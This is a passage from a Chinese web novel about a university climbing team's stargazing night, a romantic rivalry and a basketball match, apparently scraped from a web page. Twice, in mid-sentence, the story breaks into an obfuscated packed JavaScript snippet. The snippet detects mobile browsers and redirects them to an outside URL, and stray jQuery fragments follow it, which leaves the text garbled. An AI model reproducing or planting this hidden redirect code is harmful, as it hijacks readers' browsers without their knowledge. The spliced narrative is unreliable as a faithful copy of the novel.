更为关键的是,他有什么凭借,可以和卓尔不群的程峻齐相提并论呢? 连一句堂堂正正的公平竞争,说出来都像笑话。 在沉默的间隙,院子里传来大家嬉闹的声音。一片喧嚣中,李澍也能清晰辨识黎晓唱无拘无束的清脆笑声。或许,留心到她笑声的,不止是他。 “我有点后悔当初退队了。”程峻齐起身,目光望着窗外,“希望,现在还不算晚。” 李澍下意识也站了起来。 我也是不会退却的。在山顶许下的心愿,我一定会告诉她。 攥紧的手,掌心渗出汗来,一句话堵在嗓子眼,但理智还是踩下了刹车。 程峻齐听到声音,转过身来,探询地看向他:“嗯?” 说与不说之间,外面传来队友的喊声:“吃饭啦吃饭啦,都快来吃饭啦!” “走,下楼!”程峻齐拍他肩膀,“我和老板说煮个长寿面,再加个荷包蛋。” 忙碌了一天,每个人吃起饭来都风卷残云,但嘴巴依旧开心地说个不停。大家讨论着日间的攀登,规划着不久后的攀岩比赛,又一同期待夏天的登山和科考,从晚霞漫天一直聊到新月如钩。 李澍吃到了加荷包蛋的长寿面,大家一起为他唱了生日歌。 那么多人祝他生日快乐,可是,今晚的寿星心事重重,快乐不起来。 吃过晚饭已经八点多,山中夜风清凉,众人一同去河边散步消食。向村边走上百来米,跨过一座小桥,灯光被抛在身后,抬头便看到夏日的漫天繁星。 桥下水声淙淙,银河流泻在深蓝的天幕中,无数远星的微光汇成缥缈的白色烟云,在峭壁间的山谷的漫延而去。 黎晓唱认得牛郎织女,便指给同去的新队员看:“挑着担子的是牛郎,有四颗星星小梭子的是织女,中间就是银河啦,那个大十字是天鹅座。” 新队员问:“那是北斗吧,北斗是大熊还是小熊来着?” “大熊。”黎晓唱道,“北极星所在的是小熊。” “咦,这个是北极星吗?”新队员指了指反方向的一颗亮星,“我以为是那个。” 有人接话道:“勺子开口延长过去是北极星,没错的。” 新队员刨根问底:“那这颗亮星呢?” “啊,我也不认识。”黎晓唱挠挠头,环顾四周,“我问问,要不回去查查。” 程峻齐一直走在她附近,只是微笑听她介绍,并没插话,此刻正对上黎晓唱的目光。 她歪了歪头,像是一个小问号,也从他眼中看到了肯定的答复。 “是大角星。”程峻齐答道,“它和周围这几颗连起来像个风筝,就是追赶大熊小熊的牧夫座” 队里带了指星笔,其实就是一支功率强劲的激光笔,白天都能在崖壁上清楚地投上绿色的记号点,用以提醒新人落手落脚的位置。 此时有人递给程峻齐,催着他再指几个星座。他抬手,一道亮眼的光线便射入夜空,众人站在他身边,目光随着他手指的方向移动。 程峻齐涉猎广博,条理清晰,无论是星座相关的希腊神话,还是中国古文中的相关描述,都能娓娓道来。 “师兄真是百科全书哦。”有人赞叹道。 “也没有,就知道一些皮毛。”程峻齐笑道,“其实是参加过天文学会组织的两次观星活动,我记得的也就这么多啦。” 众人听得入神,但也都很自觉,无论怎么走,都把程峻齐附近的位置留给黎晓唱。稍微有些眼力的,也大概看得出他这次来和谁走得最近。 李澍不发一语,疏离地走在队伍后,他不想跟着他们向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116244|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前走了,但又忍不住打量黎晓唱的反应——她倒着走了几步,像孩子一样举手提问,程峻齐微笑着温和作答。她微仰着头,眼睛亮闪闪的,映着夜空里的小星星。 那是心生向往和崇拜的目光,李澍不傻,他看得出来。 这深邃寂静的夜空下,他多希望一切是一场梦。 漫天星空也不言语,但星星点点的闪亮却又有些嘈杂。那些看似微弱的恒星之光,不知穿过多少光年的距离才抵达这里,而他对她的心意,何时才应让她知晓,此刻似乎比星光更遥远。 此后尽管李澍不愿多回忆,但这一日的画面却总是萦绕心头。他时常想,果然没有吹蜡烛就许的愿,是不能作数的。 夜里李澍睡不着,明明疲累困乏、眼睛发酸,但闭上眼睛,大脑却静不下来。他又不能辗转反侧,让不远处的师兄听出自己的焦躁不安。 程峻齐的呼吸倒是悠长平稳,似乎不会被外界窸窸窣窣的声音打扰。 李澍不知何时睡了过去,又很快被村子里的鸡鸣声叫醒。他头脑昏沉地看了一眼手机,时间尚早,扯过毯子蒙头再睡。醒来时天已大亮,程峻齐在床边拍他肩膀:“厨房在烙饼,马上可以吃早饭啦。” 起晚了吗?李澍打了个激灵,立刻坐了起来,愣了片刻,意识到今天不需要清晨出发去结组,一时间有些恍惚。 程峻齐收拾背包,一边说道:“我又去问晓唱,她总算答应了。不过还是有点犹豫,不知道是不是勉强她了。” 李澍睡眠不足,头脑尚不清醒,这句话却炸雷一般从耳旁滚过。 她……答应了? 这是什么时候的事情?是观星时,还是回来后大家在院子里唱歌说笑时?其他人知道么,为什么大家的反应都如此平静? “哦……”他木然地应了一句,“恭喜”两个字实在说不出口。 “她说她考试多,还有大作业,我答应帮她搞定。”程峻齐笑道,“不过她平时也没有天天在学习啊。可能是和一群不熟悉的人一起活动,她觉得有些不自在吧。” “啊?”李澍一头雾水,“什么活动?” “就是我们班毕业前的郊游啊,昨天大家都建议去水泉沟……” 李澍回想,好像饭桌上是提起了这个话题。 程峻齐继续道:“晓唱说路线很简单,就一条道,不过我们班大家都没去过,我就想请她帮忙带路……” 李澍再想,好像是提了这么一句,黎晓唱摆手拒绝了,说自己要复习。 程峻齐说:“我是想着有涉水路线,还是需要经验丰富的领队。” 李澍无语——那还有祁飞呢,曾勇呢,老吴呢……要是说祁飞忙,你和别人不熟,那还有我呢? 当然,他也没去过水泉沟。但你怎么问都没问,就只问黎晓唱呢? “我知道是有点强人所难了,但这次真的很需要她。”程峻齐笑了笑,“我也是下定决心鼓足勇气,要是像以前参加协会那样犹豫退缩,可能也就没机会了。”他顿了顿,“我不想以后再去后悔,怎么自己没有尝试,就轻易放弃了。” 李澍已经清醒过来,抬眼看着程峻齐。他讲得足够直白,神色坚定而坦然,让李澍不知如何应答。 要说些什么呢? 我也不会放弃的。 可是,如果将这句话告诉黎晓唱,他会对上她怎样的反应呢?惊讶、尴尬,慌乱得手足无措? 而且,站在他面前的这个人,是他再努力三年也难以比肩的程峻齐。 自己所谓的不放弃,或是勇敢或是莽撞,是否还有意义。 31. 第十四章 赛场 回学校的路上,黎晓唱就觉得自己草率了。 不,应该说更早,头一天夜里刚答应了程峻齐,回到房间躺下,她就恨不得扯跟绳子,把自己说出去的话再拽回来。 和他们班同学一起去郊游,这也太尴尬了吧! 之前室友也经常拿她和程师兄打趣,黎晓唱总是推说没什么,她自己也无心多想,一来觉得二人之间的亲近程度也不超过和她与队友们的交往,凭空想象不是自作多情?二来的确让她忙碌的事情还有很多,她也无暇一探究竟。 然而现在,要是还说他只当自己是普通朋友,黎晓唱自己都不信。 的确,她没谈过恋爱。那没吃过猪肉,还没见过猪跑么?祁飞队长不也是每天换着理由去找唐凝么? 唉,要是凝凝在就好了。黎晓唱心想,这些事儿还是和她讨论最靠谱。对其他两位室友倒没啥隐瞒,但她俩听到八卦比当事人还兴奋,就差嗑着瓜子追更了,没有什么建设性意见。 想着想着,不觉眼皮打架。 迷迷糊糊中黎晓唱还在想,这一天真的是太长了,脑子转不动了,赶紧睡吧,没什么非要现在想明白的。 恍惚间想起清晨时分登顶后,李澍看到小蛋糕时惊喜的表情。他一向话不多,明明很开心,似乎鼓足勇气要说些什么,却也不会表达。 致谢的话不说就不说吧,黎晓唱自觉大度,她才不会计较呢,看见徒弟的开心就足矣,谢意她心领啦。她想,小澍今天一定也是又困又累,好像后来都没怎么说话呢…… 脑子里闪过几个画面,黎晓唱就顾不得懊恼或揣测,沉沉坠入梦乡之中。她可不知道就在不远处,李澍困顿疲倦,但半睁着眼无法入眠。 直到第二天返程分配车辆,黎晓唱才又觉尴尬。她主动把带着露营装备的两个男生塞给程峻齐,再买二送一,搭一个和程峻齐相熟的李澍路上聊天。她说这几个壮劳力可以带着装备先回学校整理,其他队员便能轻手利脚去搭长途公交。 这个借口太完满了,黎晓唱都佩服自己的机智。 而且回程路上,她还有好几个小时可以静心思考。 长途大巴驶上高速,车厢里又安静下来。黎晓唱托着下巴,看路旁笔直的杨树飞逝而过。 昨天星空下的畅谈过于开心,他继续提出同去水泉沟的邀请时,她嘴一滑就答应了。现在要找个什么样的理由婉拒呢? “我打算主动找梁老师,给我分配点新任务。到时候就和师兄说我时间冲突了。”黎晓唱难得捉住常驻实验室的唐凝,和她一起去食堂,路上边走边说。 “是啊,又不是单独约你,和一群人出去的确有点不自在。”唐凝点头,又忍不住笑,“哎,没准人家班级最后一次集体活动,提议大家都带家属。” “哎呀,我又不是!”黎晓唱双颊发热,“你怎么和孟琳她们一样呢!” “我怎么了?”唐凝莞尔一笑,“一个是我姐妹,一个是学校风云人物,我怎么不能一起八卦呢?” 笑归笑,她又正色道:“话说,师兄也几次明示暗示了,你这样推来推去,他可能认为你没有那个心思。他肯定是有点小骄傲的,不想被别人拒绝,没有百分百的把握,也不见得对你直接表白。” 黎晓唱啃着糯玉米,两腮鼓得像个仓鼠,时不时点点头。 还能吃得这么踏实,是真的心大啊。唐凝哭笑不得:“现在他给的信号挺明显的了,就算这次你尴尬,不想去,话也说得灵活些。要不然人家就此止步,再不约你了,你会不会后悔?哦,当然,还有个最关键的问题——你到底,喜不喜欢师兄?” 这个问题太深奥了。 到底什么是喜欢? 那种义无反顾、令人神魂颠倒,甚至后来遍体鳞伤也无法割舍的爱情,到底是从怎样的喜欢开始的呢? 而这份喜欢发展到哪个程度,才能决定和对方在一起呢? 篮球联赛的分组赛已经结束,不几日就是淘汰赛。作为毕业生,这是程峻齐大学时代最后出场的机场球赛,此前他也和黎晓唱说起过。 唐凝建议,就算要推掉水泉沟的邀约,至少篮球赛可以去现场看看,给本学院加油的同时顺便路过,也显得更为自然。 黎晓唱一直琢磨着和程峻齐再次见面时的措辞,攀岩训练时也有些心不在焉。她让李澍热身,自己在旁边整理着装备,脑海里就闪现种种假设,小心谨慎字斟句酌。 一边想一边进了装备间,整理了十多分钟,忽然想起李澍还在岩壁上横移。她连忙跑出来,果然,他还在斜壁上挂着,额角渗出汗来。 “不说十分钟么?”她嗔道,“你自己也灵活点啊。” “没表。”他淡淡应了一句,弓身蓄力,做了一个远距离的动态飞扑,身体摆荡开来,又跌落在垫子上。 “你不累吗?”黎晓唱笑。 李澍摇了摇头,看起来有些闷。 “唉唉,是我忘啦。”黎晓唱哄他,“师父没发话,徒弟就不下来。我徒弟是最乖的!”说着还竖了个大拇指。 “没事,不累。”他又是淡淡地应着,低头抹着镁粉。 黎晓唱侧身,歪头去看他表情:“咋啦,遇到啥事儿了,怎么看起来有点不开心?” “也没,”他揉了揉鬓角,“快期末了,事情有点多。” “担心考试吗?程师兄都夸你进步快,没问题的!”黎晓唱拍了拍他的肩膀,看他将自己的鬓角抹上白色镁粉,忍不住伸手替他擦拭。 李澍触电一样,侧过头去。 黎晓唱一愣。 “都是汗。”他支吾道,“我自己擦。” “哦,对了,”提到程峻齐,她想起篮球赛来,“我记得他们拉你去学院篮球队是吧,后来你参加了么?” 李澍点头:“算是吧。” 之前一同跑接力赛的几位师兄热情邀约,说几位主力即将毕业,喊他做替补,虽然他经验不足,但从身高、体能和运动能力来看,都是值得培养的有生力量。李澍尝试婉拒,但几位师兄十分坚持,他也不好一再推脱,也跟着练了几次投篮。 黎晓唱眼睛一亮:“那你要参加淘汰赛吗?” “师兄们喊我去,不过我不一定上场。” “没关系!”黎晓唱大力拍他肩膀,“到时候我给你加油去!” 就算是佯装路过,但如果给程峻齐加油,作为其他学院的黎晓唱还是觉得尴尬。但如果说去给小澍加油,那她就自在多了了,简直是天经地义! 她甩了甩头,不不,不是拿小澍当借口,她是真的很想去给他加油。无论是不是替补,这可是小澍头一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147135|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在大学里参加篮球赛,他这样拘谨腼腆,当然需要有人帮他加油打气! 即便如此,淘汰赛当天,黎晓唱还是先去自己学院的比赛场地点了个卯——总不能一出现就跑去看别人的球赛,不给自家兄弟们加油吧。 数个篮球场一列排开,开赛时间略有不同。球员们在盛夏灼热的阳光下奔跑腾跃,哨声和欢呼声此起彼伏。 到了中场休息时,她又扯上攀岩队的另一位队员,穿越两个篮球场,去给李澍加油。 赶到他们所在的场地时,场边的老队员正在分析战术,黎晓唱垫了垫脚,没看到李澍。 只见程峻齐眉头轻蹙,补充道:“对方7号补防很快,老薛突破后要把球传出来,小贾注意观察,往篮下切。” 他神色严肃,冷静专注,不说话时抿着唇,和平时时常温和文雅的模样截然不同。比赛重启不久,他假意松散防守,故意漏出空档,趁对手不备时刹那变向断球,迅速切下底线。但他也并不贪功,做出三步上篮的架势引对手包夹,起身瞬间果断将球漏给空位的小贾。 小贾接球,稳身出手,篮球刷出漂亮的弧线,场边传来欢呼声。 黎晓唱也不觉鼓起掌来,看到计算机撤守回防,才想起自己还要找到李澍。 他刚才并没有和队员们围聚在一起,又是去了哪里呢? 她回身四望,在计算机队席位一隅,看见盘坐在场边的李澍。 黎晓唱蹭过人群,拍他肩膀:“我刚才怎么没看到你?” “有个队友扭脚了,我送他去医疗站。” “哦。”黎晓唱挨着他坐下,“你们的对手竟然是工学院,这不就是接力时的老对手吗?!大家都很拼啊!” “是啊。” 黎晓唱本想问“你上场了么”,这句话打了个圈,又咽了回去。工学大概要报接力赛一箭之仇,现在也憋足了劲儿,目前比分胶着,能看得出双方都出动了主力阵容,大概短时间轮不到替补上场。 她只能换了话题,由衷赞叹道:“没想到,程师兄打得还真不错呀。虽然我也不大懂吧,但感觉他打球时挺有脑子的。” 的确,黎晓唱日常看球不多,但队员们在球场上的飞扬神采一样让她驻足,那种拼搏的激情和一心向上的团队精神,和其他运动并不不同。 站在场边近距离感受到迎面而来的风声,便格外容易被感染。无论场上是否有黎晓唱认识的人,这样精彩的对决都足以让她发出赞叹。 “那是。”李澍攥紧手中的矿泉水瓶。他刚才走回来时,远远便看见场边的黎晓唱。她和众人一样,目光追随着程峻齐,在他传球时发出赞叹的惊呼。 阳光下她的眼睛也是晶晶亮的,和夜空下她望向程峻齐时的目光一样。 夏日炙热的风扑面而来,阳光白亮,仿佛灼痛了他的眼睛。 李澍觉得,自己答应大家来到球场,似乎就是一个错误。 但无论他来不来,似乎都没有办法改变命运之轮的转动——黎晓唱依旧会出现在这里,依旧会为别人鼓掌加油。 她那天问自己会不会上场,其实又有什么关系呢? 他是一个微不足道的借口吗? 坐在黎晓唱身边,看她专注地为场上加油喝彩,李澍第一次感觉,自己和她,似乎已经越行越远。